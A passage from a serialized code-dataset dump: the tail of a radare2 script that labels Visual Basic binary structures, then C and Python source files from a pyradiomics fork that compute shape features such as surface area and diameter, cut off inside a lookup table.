GetControlDescriptionByTypeID(TypeID):\\n result = \\\"\\\"\\n for e in CtrlFlags:\\n index, typeid, description = e[0:len(e)]\\n if typeid == TypeID:\\n if len(result) != 0:\\n result += (\\\" or \\\" + description)\\n else:\\n result = description\\n return result\\n\\n\\ndef CreateFunction(address, name):\\n result = True\\n r2.cmd(\\\"af @0x%x\\\" % address)\\n r2.cmd(\\\"afn %s 0x%x\\\" % (name, address))\\n return result\\n\\n\\ndef CreateFlag(address, name):\\n r2.cmd(\\\"f %s @0x%x\\\" % (name, address))\\n\\n\\ndef GetEventByID(ctrl_type, event_id):\\n ctrl_events, result = None, \\\"Unknown\\\"\\n for ctrlType in CtrlEvents.keys():\\n if ctrlType == ctrl_type:\\n ctrl_events = CtrlEvents[ctrlType]\\n break\\n if ctrl_events is None:\\n return result\\n for eventID in ctrl_events.keys():\\n if eventID == event_id:\\n result = ctrl_events[eventID]\\n break\\n return result\\n\\n\\ndef GetString(addr):\\n return r2.cmd(\\\"psz @0x%x\\\" % addr).strip()\\n\\n\\ndef ParseControlInfo(object_name, obj_addr):\\n VBControlInfo = ParseStructure(obj_addr, CVBControlInfo)\\n control_name = GetString(VBControlInfo.lpszName)\\n VBGUID = ParseStructure(VBControlInfo.lpGuid, CVBGUID)\\n control_type = VBGUID.Data1\\n VBEventHandlerTable = ParseStructure(VBControlInfo.lpEventTable, CVBEventHandlerTable)\\n entry_point = VBControlInfo.lpEventTable + sizeof(CVBEventHandlerTable) - 4\\n for control_id in range(0, VBControlInfo.fControlType):\\n p = entry_point + 4*control_id\\n if IsAddressValid(p):\\n addr_event = Dword(p)\\n if IsAddressValid(addr_event):\\n print(\\\"Trampoline at %x\\\" % addr_event)\\n print(\\\"Event: %s\\\" %\\n (control_name + \\\"_\\\" +\\n GetEventByID(control_type, control_id)))\\n # Parse trampoline and flag the correct function\\n obj = r2.cmdj(\\\"pdj 2 @0x%x\\\" % addr_event)\\n jump = obj[1]\\n if obj[0][\\\"type\\\"] == \\\"sub\\\" and jump[\\\"type\\\"] == \\\"jmp\\\":\\n real_func = jump[\\\"jump\\\"]\\n control_type = GetEventByID(control_type, control_id)\\n if control_type == \\\"Unknown\\\" :\\n control_type = \\\"%x\\\" % real_func\\n event_name = \\\"fn.%s_%s_%s\\\" % (object_name, control_name,\\n control_type)\\n CreateFunction(real_func, event_name)\\n\\n\\ndef ParsePrivateObjectInfo(object_name, obj_addr):\\n VBOptionalObjectInfo = ParseStructure(obj_addr, CVBOptionalObjectInfo)\\n for j in range(0, VBOptionalObjectInfo.dwControlCount):\\n ### CONTROL INFO ###\\n addr_vb_control_info = VBOptionalObjectInfo.lpControls + j*sizeof(CVBControlInfo)\\n if IsAddressValid(addr_vb_control_info ):\\n ParseControlInfo(object_name, addr_vb_control_info)\\n\\n for j in range(0, VBOptionalObjectInfo.wEventCount):\\n addr_vb_event = VBOptionalObjectInfo.lpEvents + j*4\\n if not IsAddressValid(addr_vb_event): return STATUS()\\n event_eat = Dword(addr_vb_event) # eat: event address table\\n if not IsAddressValid(event_eat): return STATUS()\\n\\n # This method belongs VB Table or User Defined? 0xFFFF -> User Defined.\\n addr_magic = event_eat - 4\\n if not IsAddressValid(addr_magic): return STATUS()\\n magic = Dword(addr_magic)\\n is_user_defined = (magic == 0xFFFF)\\n\\n obj = r2.cmdj(\\\"pdj 1 @0x%x\\\" % event_eat)\\n jump = obj[0]\\n if jump[\\\"type\\\"] == \\\"jmp\\\":\\n event = jump[\\\"jump\\\"]\\n if is_user_defined == True:\\n event_name = \\\"fn.Unknown_%08X\\\" % event\\n CreateFunction(event, event_name)\\n\\ndef ParseObjectDescriptor(obj_addr):\\n VBPublicObjectDescriptor = ParseStructure(obj_addr,\\n CVBPublicObjectDescriptors)\\n object_name = GetString(VBPublicObjectDescriptor.lpszObjectName)\\n CreateFlag(obj_addr, \\\"VB.\\\" + object_name + \\\"_Descriptor\\\")\\n\\n # Parse ObjectInfo\\n VBObjectInfo = ParseStructure(VBPublicObjectDescriptor.lpObjectInfo, CVBObjectInfo)\\n object_name = GetString(VBPublicObjectDescriptor.lpszObjectName)\\n CreateFlag(VBPublicObjectDescriptor.lpObjectInfo, object_name + \\\".ObjectInfo\\\")\\n\\n addr_vb_optional_object_info = VBPublicObjectDescriptor.lpObjectInfo + sizeof(CVBObjectInfo)\\n if VBObjectInfo.lpConstants != addr_vb_optional_object_info:\\n ParsePrivateObjectInfo(object_name, addr_vb_optional_object_info)\\n\\n\\nsizeof = ctypes.sizeof\\nr2 = r2pipe.open()\\ninstr = r2.cmdj(\\\"pdj 2 @entry0\\\")\\naddr_vb_header = instr[0][\\\"ptr\\\"]\\nVBHeader = ParseStructure(addr_vb_header, CVBHeader)\\nVBProjectInfo = ParseStructure(VBHeader.lpProjectData, CVBProjectInfo)\\nVBObjectTable = ParseStructure(VBProjectInfo.lpObjectTable, CVBObjectTable)\\n\\n# PUBLIC OBJECT DESCRIPTORS #\\nfor i in range(0, VBObjectTable.dwTotalObjects):\\n addr_vb_public_object_descriptors = (VBObjectTable.lpObjectArray +\\n i*sizeof(CVBPublicObjectDescriptors))\\n ParseObjectDescriptor(addr_vb_public_object_descriptors)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978374,"cells":{"repo_name":{"kind":"string","value":"drmaxchen/pyradio"},"repo_url":{"kind":"string","value":"https://github.com/drmaxchen/pyradio"},"snapshot_id":{"kind":"string","value":"dd14e8796e1dea745cfe8fcfd57bf71a8e1e8fa0"},"revision_id":{"kind":"string","value":"f2e46856425cfb233d29d391199bfb9b85824b06"},"directory_id":{"kind":"string","value":"48f49bfe57008ae0c30f602bb14ff3b11fd7d447"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-27T23:24:39.552705","string":"2020-03-27T23:24:39.552705"},"revision_date":{"kind":"timestamp","value":"2018-09-04T08:46:39","string":"2018-09-04T08:46:39"},"committer_date":{"kind":"timestamp","value":"2018-09-04T08:46:39","string":"2018-09-04T08:46:39"},"github_id":{"kind":"number","value":147315093,"string":"147,315,093"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7513227462768555,"alphanum_fraction":0.7513227462768555,"avg_line_length":93.5,"blob_id":"7b0160567e3016cdf6185bd35aafb814f56da4cf","content_id":"093c8bdb3b991ef32fe8cbb4462d3c3fbbdade73","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"C","length_bytes":189,"license_type":"permissive","max_line_length":104,"num_lines":2,"path":"/radiomics/src/cshape.h","repo_name":"drmaxchen/pyradio","src_encoding":"UTF-8","text":"double calculate_surfacearea(char *mask, int *size, int *strides, double *spacing);\nint calculate_diameter(char *mask, int *size, int *strides, double *spacing, int Ns, double *diameters);\n"},{"alpha_fraction":0.6456996202468872,"alphanum_fraction":0.6525459885597229,"avg_line_length":31.160551071166992,"blob_id":"9b2481d181cf785153ed7a890af3b1c66308d503","content_id":"b0c3e91d78dff3a848c49e0651ff85d5728a41ec","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"C","length_bytes":7011,"license_type":"permissive","max_line_length":142,"num_lines":218,"path":"/radiomics/src/_cshape.c","repo_name":"drmaxchen/pyradio","src_encoding":"UTF-8","text":"#define NPY_NO_DEPRECATED_API NPY_1_7_API_VERSION\n\n#include <stdlib.h>\n#include <Python.h>\n#include <numpy/arrayobject.h>\n#include \"cshape.h\"\n\nstatic char module_docstring[] = \"This module links to C-compiled code for efficient calculation of the surface area \"\n \"in the pyRadiomics package. It provides fast calculation using a marching cubes \"\n \"algortihm, accessed via \"\"calculate_surfacearea\"\". Arguments for this function\"\n \"are positional and consist of two numpy arrays, mask and pixelspacing, which must \"\n \"be supplied in this order. Pixelspacing is a 3 element vector containing the pixel\"\n \"spacing in z, y and x dimension, respectively. All non-zero elements in mask are \"\n \"considered to be a part of the segmentation and are included in the algorithm.\";\nstatic char surface_docstring[] = \"Arguments: Mask, PixelSpacing, uses a marching cubes algorithm to calculate an \"\n \"approximation to the total surface area. The isovalue is considered to be situated \"\n \"midway between a voxel that is part of the segmentation and a voxel that is not.\";\nstatic char diameter_docstring[] = \"Arguments: Mask, PixelSpacing, ROI size.\";\n\nstatic PyObject *cshape_calculate_surfacearea(PyObject *self, PyObject *args);\nstatic PyObject *cshape_calculate_diameter(PyObject *self, PyObject *args);\n\nint check_arrays(PyArrayObject *mask_arr, PyArrayObject *spacing_arr, int *size, int *strides);\n\nstatic PyMethodDef module_methods[] = {\n //{\"calculate_\", cmatrices_, METH_VARARGS, _docstring},\n { \"calculate_surfacearea\", cshape_calculate_surfacearea, METH_VARARGS, surface_docstring },\n { \"calculate_diameter\", cshape_calculate_diameter,METH_VARARGS, diameter_docstring},\n { NULL, NULL, 0, NULL }\n};\n\n#if PY_MAJOR_VERSION >= 3\n\nstatic struct PyModuleDef moduledef = {\n PyModuleDef_HEAD_INIT,\n \"_cshape\", /* m_name */\n module_docstring, /* m_doc */\n -1, /* m_size */\n module_methods, /* m_methods */\n NULL, /* m_reload */\n NULL, /* m_traverse */\n NULL, /* m_clear */\n NULL, /* m_free */\n};\n\n#endif\n\nstatic PyObject *\nmoduleinit(void)\n{\n PyObject *m;\n\n#if PY_MAJOR_VERSION >= 3\n m = PyModule_Create(&moduledef);\n#else\n m = Py_InitModule3(\"_cshape\",\n module_methods, module_docstring);\n#endif\n\n if (m == NULL)\n return NULL;\n\n return m;\n}\n\n#if PY_MAJOR_VERSION < 3\n PyMODINIT_FUNC\n init_cshape(void)\n {\n // Initialize numpy functionality\n import_array();\n\n moduleinit();\n }\n#else\n PyMODINIT_FUNC\n PyInit__cshape(void)\n {\n // Initialize numpy functionality\n import_array();\n\n return moduleinit();\n }\n#endif\n\nstatic PyObject *cshape_calculate_surfacearea(PyObject *self, PyObject *args)\n{\n PyObject *mask_obj, *spacing_obj;\n PyArrayObject *mask_arr, *spacing_arr;\n int size[3];\n int strides[3];\n char *mask;\n double *spacing;\n double SA;\n // Parse the input tuple\n if (!PyArg_ParseTuple(args, \"OO\", &mask_obj, &spacing_obj))\n return NULL;\n\n // Interpret the input as numpy arrays\n mask_arr = (PyArrayObject *)PyArray_FROM_OTF(mask_obj, NPY_BYTE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\n spacing_arr = (PyArrayObject *)PyArray_FROM_OTF(spacing_obj, NPY_DOUBLE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\n\n if (check_arrays(mask_arr, spacing_arr, size, strides) > 0) return NULL;\n\n // Get arrays in Ctype\n mask = (char *)PyArray_DATA(mask_arr);\n spacing = (double *)PyArray_DATA(spacing_arr);\n\n //Calculate Surface Area\n SA = calculate_surfacearea(mask, size, strides, spacing);\n\n // Clean up\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n\n if (SA < 0) // if SA < 0, an error has occurred\n {\n PyErr_SetString(PyExc_RuntimeError, \"Calculation of Surface Area Failed.\");\n return NULL;\n }\n\n return Py_BuildValue(\"f\", SA);\n}\n\nstatic PyObject *cshape_calculate_diameter(PyObject *self, PyObject *args)\n{\n PyObject *mask_obj, *spacing_obj;\n PyArrayObject *mask_arr, *spacing_arr;\n int Ns;\n int size[3];\n int strides[3];\n char *mask;\n double *spacing;\n double *diameters;\n PyObject *rslt;\n\n // Parse the input tuple\n if (!PyArg_ParseTuple(args, \"OOi\", &mask_obj, &spacing_obj, &Ns))\n return NULL;\n\n // Interpret the input as numpy arrays\n mask_arr = (PyArrayObject *)PyArray_FROM_OTF(mask_obj, NPY_BYTE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\n spacing_arr = (PyArrayObject *)PyArray_FROM_OTF(spacing_obj, NPY_DOUBLE, NPY_ARRAY_FORCECAST | NPY_ARRAY_UPDATEIFCOPY | NPY_ARRAY_IN_ARRAY);\n\n if (check_arrays(mask_arr, spacing_arr, size, strides) > 0) return NULL;\n\n // Get arrays in Ctype\n mask = (char *)PyArray_DATA(mask_arr);\n spacing = (double *)PyArray_DATA(spacing_arr);\n\n // Initialize output array (elements not set)\n diameters = (double *)calloc(4, sizeof(double));\n\n // Calculating Max 3D Diameter\n if (!calculate_diameter(mask, size, strides, spacing, Ns, diameters))\n {\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n free(diameters);\n PyErr_SetString(PyExc_RuntimeError, \"Calculation of maximum 3D diameter failed.\");\n return NULL;\n }\n\n rslt = Py_BuildValue(\"ffff\", diameters[0], diameters[1], diameters[2], diameters[3]);\n\n // Clean up\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n free(diameters);\n\n return rslt;\n}\n\nint check_arrays(PyArrayObject *mask_arr, PyArrayObject *spacing_arr, int *size, int *strides)\n{\n if (mask_arr == NULL || spacing_arr == NULL)\n {\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n PyErr_SetString(PyExc_RuntimeError, \"Error parsing array arguments.\");\n return 1;\n }\n\n if (PyArray_NDIM(mask_arr) != 3 || PyArray_NDIM(spacing_arr) != 1)\n {\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n PyErr_SetString(PyExc_RuntimeError, \"Expected a 3D array for mask, 1D for spacing.\");\n return 2;\n }\n\n if ( !PyArray_IS_C_CONTIGUOUS(mask_arr) || !PyArray_IS_C_CONTIGUOUS(spacing_arr))\n {\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n PyErr_SetString(PyExc_RuntimeError, \"Expecting input arrays to be C-contiguous.\");\n return 3;\n }\n\n if (PyArray_DIM(spacing_arr, 0) != 3)\n {\n Py_XDECREF(mask_arr);\n Py_XDECREF(spacing_arr);\n PyErr_SetString(PyExc_RuntimeError, \"Expecting spacing array to have shape (3,).\");\n return 4;\n }\n\n // Get sizes of the arrays\n size[2] = (int)PyArray_DIM(mask_arr, 2);\n size[1] = (int)PyArray_DIM(mask_arr, 1);\n size[0] = (int)PyArray_DIM(mask_arr, 0);\n\n strides[2] = (int)(PyArray_STRIDE(mask_arr, 2) / PyArray_ITEMSIZE(mask_arr));\n strides[1] = (int)(PyArray_STRIDE(mask_arr, 1) / PyArray_ITEMSIZE(mask_arr));\n strides[0] = (int)(PyArray_STRIDE(mask_arr, 0) / PyArray_ITEMSIZE(mask_arr));\n\n return 0;\n}\n"},{"alpha_fraction":0.6926302909851074,"alphanum_fraction":0.6951767802238464,"avg_line_length":31.25120735168457,"blob_id":"e75f68b7e461b1262c16629dad9c31f2997a73df","content_id":"9e8dfdeca02f0ffce00a08d7c3cdb4d0c11d3c70","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6676,"license_type":"permissive","max_line_length":138,"num_lines":207,"path":"/radiomics/generalinfo.py","repo_name":"drmaxchen/pyradio","src_encoding":"UTF-8","text":"import collections\nimport logging\n\nimport numpy\nimport pywt\nimport SimpleITK as sitk\nimport six\n\nimport radiomics\n\n\nclass GeneralInfo():\n def __init__(self, imagePath, maskPath, resampledMask, settings, enabledImageTypes):\n self.logger = logging.getLogger(self.__module__)\n\n self.elements = self._getElementNames()\n\n if isinstance(imagePath, six.string_types):\n self.image = sitk.ReadImage(imagePath)\n elif isinstance(imagePath, sitk.Image):\n self.image = imagePath\n else:\n self.logger.warning('Error reading image Filepath or SimpleITK object')\n self.image = None\n\n if isinstance(maskPath, six.string_types):\n self.mask = sitk.ReadImage(maskPath)\n elif isinstance(maskPath, sitk.Image):\n self.mask = maskPath\n else:\n self.logger.warning('Error reading mask Filepath or SimpleITK object')\n self.mask = None\n\n self.resampledMask = resampledMask\n\n self._settings = settings\n self._enabledImageTypes = enabledImageTypes\n\n self.label = self._settings.get('label', 1)\n\n if resampledMask is not None:\n self.lssif = sitk.LabelShapeStatisticsImageFilter()\n self.lssif.Execute(resampledMask)\n else:\n self.lssif = None\n\n def _getElementNames(self):\n return [member[3: -5] for member in dir(self) if member.startswith('get') and member.endswith('Value')]\n\n def execute(self):\n \"\"\"\n Return a dictionary containing all general info items. Format is <info_item>:<value>, where the type\n of the value is preserved. For CSV format, this will result in conversion to string and quotes where necessary, for\n JSON, the values will be interpreted and stored as JSON strings.\n \"\"\"\n generalInfo = collections.OrderedDict()\n for el in self.elements:\n generalInfo[el] = getattr(self, 'get%sValue' % el)()\n return generalInfo\n\n def getBoundingBoxValue(self):\n \"\"\"\n Calculate and return the boundingbox extracted using the specified label.\n Elements 0, 1 and 2 are the x, y and z coordinates of the lower bound, respectively.\n Elements 3, 4 and 5 are the size of the bounding box in x, y and z direction, respectively.\n\n Values are based on the resampledMask.\n \"\"\"\n if self.lssif is not None:\n return self.lssif.GetBoundingBox(self.label)\n else:\n return None\n\n def getGeneralSettingsValue(self):\n \"\"\"\n Return a string representation of the general settings.\n Format is {<settings_name>:<value>, ...}.\n \"\"\"\n return self._settings\n\n def getImageHashValue(self):\n \"\"\"\n Returns the sha1 hash of the image. This enables checking whether two images are the same,\n regardless of the file location.\n\n If the reading of the image fails, an empty string is returned.\n \"\"\"\n if self.image is not None:\n return sitk.Hash(self.image)\n else:\n return None\n\n def getImageSpacingValue(self):\n \"\"\"\n Returns the original spacing (before any resampling) of the image.\n\n If the reading of the image fails, an empty string is returned.\n \"\"\"\n if self.image is not None:\n return self.image.GetSpacing()\n else:\n return None\n\n def getCenterOfMassIndexValue(self):\n \"\"\"\n Returns z, y and x coordinates of the center of mass of the ROI in terms of the image coordinate space (continuous index).\n\n Calculation is based on the original (non-resampled) mask.\n\n .. note::\n Because this represents the continuous index, the order of x, y and z is reversed, i.e. the first element is the z index, the second\n the y index and the last element is the x index.\n \"\"\"\n if self.mask is not None:\n maskArray = sitk.GetArrayFromImage(self.mask)\n maskCoordinates = numpy.array(numpy.where(maskArray == self.label))\n center_index = numpy.mean(maskCoordinates, axis=1)\n return tuple(center_index)\n else:\n return None\n\n def getCenterOfMassValue(self):\n \"\"\"\n Returns the real-world x, y and z coordinates of the center of mass of the ROI. This is the real-world transformation of\n :py:func:`~radiomics.generalinfo.getCenterOfMassIndexValue()`, taking into account the spacing, direction and origin of the mask.\n\n Calculation is based on the original (non-resampled) mask.\n \"\"\"\n if self.mask is not None:\n return self.mask.TransformContinuousIndexToPhysicalPoint(self.getCenterOfMassIndexValue())\n else:\n return None\n\n def getEnabledImageTypesValue(self):\n \"\"\"\n Return a string representation of the enabled image types and any custom settings for each image type.\n Format is {<imageType_name>:{<setting_name>:<value>, ...}, ...}.\n \"\"\"\n return self._enabledImageTypes\n\n def getMaskHashValue(self):\n \"\"\"\n Returns the sha1 hash of the mask. This enables checking whether two masks are the same,\n regardless of the file location.\n\n If the reading of the mask fails, an empty string is returned. Uses the original mask, specified in maskPath.\n \"\"\"\n if self.mask is not None:\n return sitk.Hash(self.mask)\n else:\n return None\n\n @classmethod\n def getVersionValue(self):\n \"\"\"\n Return the current version of this package.\n \"\"\"\n return radiomics.__version__\n\n @classmethod\n def getNumpyVersionValue(self):\n \"\"\"\n Return the current version of the numpy package, used for feature calculation.\n \"\"\"\n return numpy.__version__\n\n @classmethod\n def getSimpleITKVersionValue(self):\n \"\"\"\n Return the current version of the SimpleITK package, used for image processing.\n \"\"\"\n return sitk.Version().VersionString()\n\n @classmethod\n def getPyWaveletVersionValue(self):\n \"\"\"\n Return the current version of the PyWavelet package, used to apply the wavelet filter.\n \"\"\"\n return pywt.__version__\n\n def getVolumeNumValue(self):\n \"\"\"\n Calculate and return the number of zones within the mask for the specified label.\n A zone is defined as a group of connected neighbours that are segmented with the specified label, and a voxel is\n considered a neighbour using 26-connectedness for 3D and 8-connectedness for 2D.\n\n Values are based on the resampledMask.\n \"\"\"\n if self.resampledMask is not None:\n labelMap = (self.resampledMask == self.label)\n ccif = sitk.ConnectedComponentImageFilter()\n ccif.FullyConnectedOn()\n ccif.Execute(labelMap)\n return ccif.GetObjectCount()\n else:\n return None\n\n def getVoxelNumValue(self):\n \"\"\"\n Calculate and return the number of voxels that have been segmented using the specified label.\n\n Values are based on the resampledMask.\n \"\"\"\n if self.lssif is not None:\n return self.lssif.GetNumberOfPixels(self.label)\n else:\n return None\n"},{"alpha_fraction":0.2751407325267792,"alphanum_fraction":0.43696877360343933,"avg_line_length":45.575836181640625,"blob_id":"7f37142b6f0ad23e2a4a58260e4a4ef293fafa4b","content_id":"cf7231332f8eba03f0621ff67bed8c3ec8391a7a","detected_licenses":["BSD-3-Clause"],"is_generated":false,"is_vendor":false,"language":"C","length_bytes":18118,"license_type":"permissive","max_line_length":140,"num_lines":389,"path":"/radiomics/src/cshape.c","repo_name":"drmaxchen/pyradio","src_encoding":"UTF-8","text":"#include \"cshape.h\"\n#include <math.h>\n#include <stdlib.h>\n\nint *generate_angles(int *size, int *strides, int *a_strides, int *Na, int *mDim);\n\n// Declare the look-up tables, these are filled at the bottom of this code file.\nstatic const int gridAngles[8][3];\n//static const int edgeTable[128]; // Not needed in this implementation\nstatic const int triTable[128][16];\nstatic const double vertList[12][3];\n\ndouble calculate_surfacearea(char *mask, int *size, int *strides, double *spacing)\n{\n int iz, iy, ix, i, t, d; // iterator indices\n unsigned char cube_idx; // cube identifier, 8 bits signifying which corners of the cube belong to the segmentation\n int a_idx; // Angle index (8 'angles', one pointing to each corner of the marching cube\n double sum;\n double surfaceArea = 0; // Total surface area\n double a[3], b[3], c[3]; // 2 points of the triangle, relative to the third, and the cross product vector\n\n // Iterate over all voxels, do not include last voxels in the three dimensions, as the cube includes voxels at pos +1\n for (iz = 0; iz < (size[0] - 1); iz++)\n {\n for (iy = 0; iy < (size[1] - 1); iy++)\n {\n for (ix = 0; ix < (size[2] - 1); ix++)\n {\n // Get current cube_idx by analyzing each point of the current cube\n cube_idx = 0;\n for (a_idx = 0; a_idx < 8; a_idx++)\n {\n i = (iz + gridAngles[a_idx][0]) * strides[0] +\n (iy + gridAngles[a_idx][1]) * strides[1] +\n (ix + gridAngles[a_idx][2]) * strides[2];\n\n if (mask[i]) cube_idx |= (1 << a_idx);\n }\n\n // Isosurface is symmetrical around the midpoint, flip the number if > 128\n // This enables look-up tables to be 1/2 the size.\n if (cube_idx & 0x80) cube_idx ^= 0xff;\n\n // Exlcude cubes entirely outside or inside the segmentation. Also exclude potential invalid values (>= 128).\n if (cube_idx > 0 && cube_idx < 128)\n {\n t = 0;\n while (triTable[cube_idx][t*3] >= 0) // Exit loop when no more triangles are present (element at index = -1)\n {\n for (d = 0; d < 3; d++)\n {\n a[d] = vertList[triTable[cube_idx][t*3 + 1]][d] - vertList[triTable[cube_idx][t*3]][d];\n b[d] = vertList[triTable[cube_idx][t*3 + 2]][d] - vertList[triTable[cube_idx][t*3]][d];\n\n // Factor in the spacing\n a[d] *= spacing[d];\n b[d] *= spacing[d];\n }\n\n // Compute the cross-product\n c[0] = (a[1] * b[2]) - (b[1] * a[2]);\n c[1] = (a[2] * b[0]) - (b[2] * a[0]);\n c[2] = (a[0] * b[1]) - (b[0] * a[1]);\n\n // Get the square\n c[0] = c[0] * c[0];\n c[1] = c[1] * c[1];\n c[2] = c[2] * c[2];\n\n // Compute the surface, which is equal to 1/2 magnitude of the cross product, where\n // The magnitude is obtained by calculating the euclidean distance between (0, 0, 0)\n // and the location of c\n sum = c[0] + c[1] + c[2];\n sum = sqrt(sum);\n sum = 0.5 * sum;\n surfaceArea += sum;\n t++;\n }\n }\n }\n }\n }\n return surfaceArea;\n}\n\nint calculate_diameter(char *mask, int *size, int *strides, double *spacing, int Ns, double *diameters)\n{\n int iz, iy, ix, i, j;\n int a_idx, d_idx;\n int Na, mDim;\n int *angles;\n int a_strides[3];\n\n int *stack;\n int stack_top = -1;\n\n int idx, jz, jy, jx;\n double dz, dy, dx;\n double distance;\n\n angles = generate_angles(size, strides, a_strides, &Na, &mDim);\n stack = (int *)calloc(Ns, sizeof(int));\n\n // First, get all the voxels on the border\n i = 0;\n // Iterate over all voxels in a row - column - slice order\n // As the mask is padded with 0's, no voxels on the edge of the image are part of the mask, so skip those...\n for (iz = 1; iz < size[0] - 1; iz++)\n {\n for (iy = 1; iy < size[1] - 1; iy++)\n {\n for (ix = 1; ix < size[2] - 1; ix++)\n {\n i = iz * strides[0] +\n iy * strides[1] +\n ix * strides[2];\n if (mask[i])\n {\n for (a_idx = 0; a_idx < Na; a_idx++)\n {\n j = i;\n for (d_idx = 0; d_idx < mDim; d_idx++)\n {\n j += angles[a_idx * mDim + d_idx] * a_strides[d_idx];\n }\n\n if (mask[j] == 0)\n {\n // neighbour not part of ROI, i.e. 'i' is border voxel\n if (stack_top >= Ns) return 0; // index out of bounds\n stack[++stack_top] = i;\n break;\n }\n }\n }\n }\n }\n\t}\n stack_top++; // increment by 1, so when the first item is popped, it is the last item entered\n\n\tfree(angles);\n\n diameters[0] = 0;\n diameters[1] = 0;\n diameters[2] = 0;\n diameters[3] = 0;\n\n while (stack_top > 0)\n {\n // pop the last item from the stack, this prevents double processing and comparing the same voxels\n i = stack[--stack_top];\n iz = (i / strides[0]);\n iy = (i % strides[0]) / strides[1];\n ix = (i % strides[0]) % strides[1];\n for (idx = 0; idx < stack_top; idx++) // calculate distance to all other voxels\n {\n j = stack[idx];\n\t jz = (j / strides[0]);\n jy = (j % strides[0]) / strides[1];\n jx = (j % strides[0]) % strides[1];\n\n dz = (double)(iz - jz) * spacing[0];\n dy = (double)(iy - jy) * spacing[1];\n dx = (double)(ix - jx) * spacing[2];\n\n dz *= dz;\n dy *= dy;\n dx *= dx;\n\n distance = dz + dy + dx;\n if (iz == jz && distance > diameters[0]) diameters[0] = distance;\n if (iy == jy && distance > diameters[1]) diameters[1] = distance;\n if (ix == jx && distance > diameters[2]) diameters[2] = distance;\n if (distance > diameters[3]) diameters[3] = distance;\n }\n }\n free(stack);\n\n diameters[0] = sqrt(diameters[0]);\n diameters[1] = sqrt(diameters[1]);\n diameters[2] = sqrt(diameters[2]);\n diameters[3] = sqrt(diameters[3]);\n\n return 1;\n}\n\nint *generate_angles(int *size, int *strides, int *a_strides, int *Na, int *mDim)\n{\n static int *angles; // return value, declare static so it can be returned\n\n int offsets[3] = {-1, 0, 1}; // distance 1, both directions\n int a_idx, d_idx, a_offset, stride;\n\n // First, determine how many 'moving' dimensions there are, this determines the number of distinct angles to generate\n // Na = 3 ** NDIM(Size > 3) - 1, i.e. each dimension triples the number of angles, -1 to exclude (0, 0, 0)\n *Na = 1;\n *mDim = 0;\n for (d_idx = 0; d_idx < 3; d_idx++) // assume mask is 3D\n {\n if (size[d_idx] > 3) // mask is padded with 0's in all directions, i.e. bounding box size = size - 2\n {\n // Dimension is a moving dimension\n a_strides[*mDim] = strides[d_idx];\n *Na *= 3;\n (*mDim)++;\n }\n }\n (*Na)--; // Don't generate angle for (0, 0, 0)\n\n // Initialize array to hold the angles\n angles = (int *)calloc(*Na * *mDim, sizeof(int));\n\n // Fill the angles array\n stride = 1;\n for (d_idx = 0; d_idx < *mDim; d_idx++) // Iterate over all moving dimensions\n {\n a_offset = 0;\n for (a_idx = 0; a_idx < *Na; a_idx++)\n {\n if (a_idx == *Na / 2) a_offset = 1; // Skip (0, 0, 0) angle\n\n angles[a_idx * *mDim + d_idx] = offsets[((a_idx + a_offset) / stride) % 3];\n }\n stride *= 3; // For next dimension, multiply stride by 3 (length offsets) --> {1, 3, 9, ...}\n }\n return angles;\n}\n\n// gridAngles define the 8 corners of the marching cube, relative to the origin of the cube\nstatic const int gridAngles[8][3] = { { 0, 0, 0 }, { 0, 0, 1 }, { 0, 1, 1 }, {0, 1, 0}, { 1, 0, 0 }, {1, 0, 1 }, { 1, 1, 1 }, { 1, 1, 0 } };\n\n// edgeTable defines which edges contain intersection points, for which the exact intersection point has to be\n// interpolated. However, as the intersection point is always 0.5, this can be defined beforehand, and this table is not\n// needed\n/*static const int edgeTable[128] = {\n 0x000, 0x109, 0x203, 0x30a, 0x406, 0x50f, 0x605, 0x70c, 0x80c, 0x905, 0xa0f, 0xb06, 0xc0a, 0xd03, 0xe09, 0xf00,\n 0x190, 0x099, 0x393, 0x29a, 0x596, 0x49f, 0x795, 0x69c, 0x99c, 0x895, 0xb9f, 0xa96, 0xd9a, 0xc93, 0xf99, 0xe90,\n 0x230, 0x339, 0x033, 0x13a, 0x636, 0x73f, 0x435, 0x53c, 0xa3c, 0xb35, 0x83f, 0x936, 0xe3a, 0xf33, 0xc39, 0xd30,\n 0x3a0, 0x2a9, 0x1a3, 0x0aa, 0x7a6, 0x6af, 0x5a5, 0x4ac, 0xbac, 0xaa5, 0x9af, 0x8a6, 0xfaa, 0xea3, 0xda9, 0xca0,\n 0x460, 0x569, 0x663, 0x76a, 0x066, 0x16f, 0x265, 0x36c, 0xc6c, 0xd65, 0xe6f, 0xf66, 0x86a, 0x963, 0xa69, 0xb60,\n 0x5f0, 0x4f9, 0x7f3, 0x6fa, 0x1f6, 0x0ff, 0x3f5, 0x2fc, 0xdfc, 0xcf5, 0xfff, 0xef6, 0x9fa, 0x8f3, 0xbf9, 0xaf0,\n 0x650, 0x759, 0x453, 0x55a, 0x256, 0x35f, 0x055, 0x15c, 0xe5c, 0xf55, 0xc5f, 0xd56, 0xa5a, 0xb53, 0x859, 0x950,\n 0x7c0, 0x6c9, 0x5c3, 0x4ca, 0x3c6, 